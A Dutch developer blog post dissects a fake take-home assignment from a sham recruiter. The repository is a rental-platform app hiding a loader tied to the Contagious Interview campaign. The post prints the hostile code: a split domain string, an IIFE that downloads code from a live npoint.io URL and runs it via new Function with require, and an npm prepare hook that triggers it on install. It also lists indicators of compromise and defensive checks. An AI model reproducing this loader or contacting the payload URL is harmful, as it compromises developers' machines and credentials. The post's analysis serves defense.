Blog
Development·7 min read

Ze Probeerden Het Opnieuw: Ontleding van een Tweede Nep-Baan Malware-Aanval

Een week na de eerste crypto-baanzwendel stuurde een andere recruiter me een verhuurplatform-repo met een verborgen backdoor voor externe code-uitvoering.

Jo Vinkenroye·March 2, 2026
Ze Probeerden Het Opnieuw: Ontleding van een Tweede Nep-Baan Malware-Aanval

Een week. Zo lang duurde het voordat de volgende opdook

Als je mijn vorige post hebt gelezen, weet je dat ik bijna trapte in een nep-baan programmeeropdracht die malware verstopte op de Binance Smart Chain. Dat was een pokerplatform met payloads gehost op de blockchain

Dit keer is het een "Copia verhuurplatform" — een villa-boekingsapp gebouwd met React, Express en MongoDB. Andere verpakking, hetzelfde spelletje

En ze maakten het bijna moeilijker om te ontdekken

De Aanbieding

Hetzelfde draaiboek als vorige keer. Recruiter neemt contact op, baan klinkt goed, hier is een repo om te beoordelen als thuisopdracht

Het project ziet eruit als een standaard MERN stack verhuur-app. Villa's, boekingen, gebruikersauthenticatie, chat. Nette React-frontend met react-router, Express-backend met JWT-authenticatie, Socket.io voor realtime berichten

Copia-rental_platform/
├── src/
│ ├── components/ # Home, Villas, Contact, Navbar, Footer
│ ├── subComponents/ # HeroSection, Regions, TopVillas
│ ├── server/
│ │ ├── controllers/ # auth, product, seller, chat
│ │ ├── middleware/ # JWT socket auth
│ │ ├── models/ # User, Product, Chat
│ │ ├── routers/ # Express routes
│ │ └── utils/ # ...hier wordt het vreemd
│ └── App.jsx
├── package.json
└── vite.config.js

Op het eerste gezicht doorstaat het de geurtest. Echte componenten, echte auth-flow, echte CRUD-operaties

Rode Vlag #1: De utils Directory

De server heeft een utils/ directory vol met bestanden die absoluut niets te maken hebben met het verhuren van villa's:

src/server/utils/
├── actions/
│ ├── rarity_core_attributes.js
│ ├── rarity_extended_boars.js
│ ├── rarity_extended_crafting_helper.js
│ ├── rarity_extended_daycare.js
│ ├── rarity_extended_equipment.js
│ ├── rarity_extended_farming.js
│ ├── rarity_extended_name.js
│ ├── rarity_openmic_perform.js
│ ├── rarity_theForest.js
│ ├── vaults.js
│ └── utils.js
├── index.js
└── performBatchedUpdates.js

Dit is allemaal gestolen van Rarity Extended, een blockchain RPG-spel. De bestanden hebben nog steeds de originele auteursheaders met @Author: Rarity Extended en @Twitter: @RXtended

Een verhuurplatform heeft geen apeInVault(), claimGold(), recruitAdventurer() of lootDungeonTheCellar() nodig. Deze code bestaat puur om de repo op te vullen en het er als een groter, legitiemer project uit te laten zien

Rode Vlag #2: De Git-Geschiedenis

De commitgeschiedenis vertelt het echte verhaal:

61e64fb updated backend functions 4
5b66b14 updated backend functions 3
776cc7f deleted backend api connection
...
01f085f 0xdj28f8q2hfe
bc7d74c 0xkaf28fjdrafh
c2ff83a 0xioadq328fakfw
1a6db3e 0xi2fidkkfkw
8e1734a 0xdafk3afdufh2
...
7b2d903 Initial commit

Meer dan 40 commits met neppe hex-achtige berichten, ontworpen om op blockchain-transactiehashes te lijken. Vier verschillende auteursidentiteiten — smitrajput, rcstanciu, fadeev, passabilities — allemaal committend om het te laten lijken alsof een echt team dit in de loop der tijd heeft gebouwd

Niemand noemt zijn commits 0xmcr214a31be. Dit is toneel

Rode Vlag #3: Het prepare Script

Net als vorige keer:

{
"scripts": {
"start": "npm run server | vite",
"prepare": "node ./src/server/app.js | vite",
"server": "node ./src/server/app.js"
}
}

De prepare lifecycle hook draait automatisch bij npm install. Het start de backend-server. De server laadt de controllers. En een van die controllers heeft een verrassing in petto

De Payload

Hier is de malware, verstopt in src/server/controllers/product.js tussen volkomen normale CRUD-functies:

const subDomain1 = "api.np";
const subDomain2 = "oint.io";
const domain2 = subDomain1 + subDomain2;
const uuid = "c237b2d383b98719acdc";

Het domein is opgesplitst in twee strings. "api.np" + "oint.io" wordt samengevoegd tot api.npoint.io — een JSON-hostingservice. Als je de codebase doorzoekt op verdachte URL's, vind je er geen. Slim

Dan verstopt tussen getBidHistory en updateProduct:

(async () => {
const res = await axios.get(`https://${domain2}/${uuid}`);
new Function("require", res.data.model)(require);
})();

Een zelfuitvoerende async functie die code downloadt van de externe server en uitvoert met new Function(), waarbij require wordt meegegeven voor volledige Node.js-toegang

Dezelfde techniek als de pokerzwendel. Hetzelfde new Function("require", payload)(require) patroon. Ander leveringsmechanisme — dit keer is het een JSON API in plaats van een blockchain smart contract

De Twee Aanvallen Vergeleken

De pokerzwendel (week 1) vermomde zich als een Web3 pokerplatform. Het hostte zijn payload op een Binance Smart Chain smart contract, getriggerd door een configureCollection() aanroep. De verduistering vertrouwde op normaal klinkende functienamen, en de opvulcode bestond uit schaakevenementen in een poker-app

Het verhuurplatform (week 2) doet zich voor als een villa-boekingssite. Het host zijn payload op npoint.io, een JSON API-service. De trigger is een zelfuitvoerende IIFE verstopt tussen normale exports. De verduistering gebruikt opgesplitste domeinstrings, en de opvulcode is een blockchain RPG-spel dat in een verhuur-app is gepropt

Wat hetzelfde blijft: de prepare hook voert automatisch uit bij installatie. Beide gebruiken new Function("require", payload)(require) om gedownloade code uit te voeren met volledige systeemtoegang

De kerntechniek is identiek. Download een string, voer het uit als code, geef require mee om volledige systeemtoegang te geven

De npoint.io-aanpak is eigenlijk minder geavanceerd dan de blockchain-versie. Een JSON-endpoint kan worden verwijderd. Een smart contract is onveranderlijk. Maar het is ook sneller op te zetten en makkelijker bij te werken

Wat Is Er Anders Dit Keer

Het opsplitsen van strings is nieuw. In plaats van een volledige URL in de code te hebben, verdelen ze het domein over meerdere variabelen. Dit omzeilt simpele grep-zoekopdrachten naar bekende kwaadaardige domeinen

De plaatsing is ook subtieler. Bij de pokerzwendel was de malware-trigger een losstaande functieaanroep aan het einde van de server-opstart. Hier is het een anonieme IIFE geperst tussen twee normale exportfuncties in een controllerbestand. Je zou elke regel moeten lezen om het te ontdekken

En de opvulcode is slimmer. Vorige keer hadden ze schaakevenementen in een pokerspel. Dit keer heeft de gestolen Rarity Extended code tenminste iets te maken met crypto/Web3, wat marginaal aannemelijker is in de context van een Node.js-project

Het Patroon

Dit is de Contagious Interview campagne. Toegeschreven aan de Lazarus Group uit Noord-Korea. Ze richten zich op ontwikkelaars — vooral die in crypto — via neppe baanaanbiedingen

De formule:

  1. Neppe recruiter neemt contact op met een goede kans
  2. Professioneel sollicitatieproces bouwt vertrouwen op
  3. Thuisopdracht wordt geleverd als een GitHub-repo
  4. npm install triggert de payload
  5. Je machine is gecompromitteerd

Twee pogingen in een week vertelt me dat ze opschalen. Of ik sta nu op een lijst, of het net wordt wijder

Wat Te Doen

Als je een thuisopdracht krijgt van een recruiter:

  1. Lees package.json scripts voordat je iets anders doet — prepare, preinstall, postinstall zijn automatisch uitgevoerde hooks
  2. Zoek naar new Function, eval, Function( in de hele codebase
  3. Kijk naar stringconcatenatie die URL's of domeinnamen opbouwt
  4. Controleer of de utils of lib directories daadwerkelijk bij het doel van het project passen
  5. Bekijk de git-geschiedenis — neppe hex-commits en meerdere auteurs bij een klein project zijn rode vlaggen
  6. Draai het in een Docker-container of VM als je het überhaupt draait

Als je al npm install hebt uitgevoerd op een verdachte repo:

  • Ga uit van compromittering. Roteer alle inloggegevens, controleer op onbekende processen, scan browserextensies
  • Verplaats crypto van elke wallet die toegankelijk was vanaf die machine
  • Controleer ~/.ssh/, ~/.aws/, browserprofielen op tekenen van exfiltratie

Indicators of Compromise

Voor iedereen die aan dreigingsonderzoek doet:

  • Payload URL: https://api.npoint.io/c237b2d383b98719acdc
  • Techniek: String splitting om domein samen te stellen ("api.np" + "oint.io")
  • Uitvoering: new Function("require", res.data.model)(require)
  • Git-auteur: smitrajput <smitrajputtd@gmail.com>

Slotgedachte

Twee keer in een week. Dezelfde techniek, andere verpakking

De eerste had me bijna te pakken omdat ik het niet verwachtte. Deze niet omdat ik nu elke thuisopdracht audit voordat ik hem aanraak. Die paranoia heeft me gered

Als je op dit moment als ontwikkelaar op zoek bent naar een baan, vooral in crypto of Web3 — je code review-vaardigheden moeten beginnen bij de opdracht zelf. Voordat je een enkele regel code schrijft, lees die van hen

De recruiter kan nep zijn. Het bedrijf kan nep zijn. Maar de malware is heel echt

Stay Updated

Get notified about new posts on automation, productivity tips, indie hacking, and web3.

No spam, ever. Unsubscribe anytime.

Comments

Related Posts